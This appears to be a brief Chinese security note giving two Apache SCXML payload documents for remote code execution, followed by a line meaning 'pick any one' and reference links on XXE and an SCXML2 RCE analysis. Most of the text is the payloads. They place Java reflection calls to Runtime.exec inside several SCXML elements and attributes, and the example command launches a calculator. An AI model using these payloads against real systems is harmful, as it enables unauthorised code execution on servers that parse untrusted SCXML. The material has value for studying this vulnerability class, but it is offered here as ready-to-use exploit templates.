1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <state id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('calc' )</script > </onentry > </state > </scxml > <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <final id ="run" > <onexit > <send hints ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" > </send > <log expr ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" > </log > <assign expr ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" location ="1" > </assign > <cancel sendidexpr ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" > </cancel > <foreach array ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" item ="1" > </foreach > <if cond ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" > </if > </onexit > </final > </scxml >
任选一个就行
参考 heihu师傅的私人笔记。wx公众号:Heihu Share
https://jlkl.github.io/2020/08/24/Java_03/
XXE
XXE之java补充
https://zoiltin.github.io/posts/%E7%9B%B2xxe%E4%B8%ADftp%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%88%A9%E7%94%A8/
https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ
https://blog.spoock.com/2018/10/23/java-xxe/
[https://boogipop.com/2023/04/24/Apache%20SCXML2%20RCE%E5%88%86%E6%9E%90/] (https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)
https://xz.aliyun.com/news/11828
https://mp.weixin.qq.com/s/bFQOFFbACv3buxQCgVFhUQ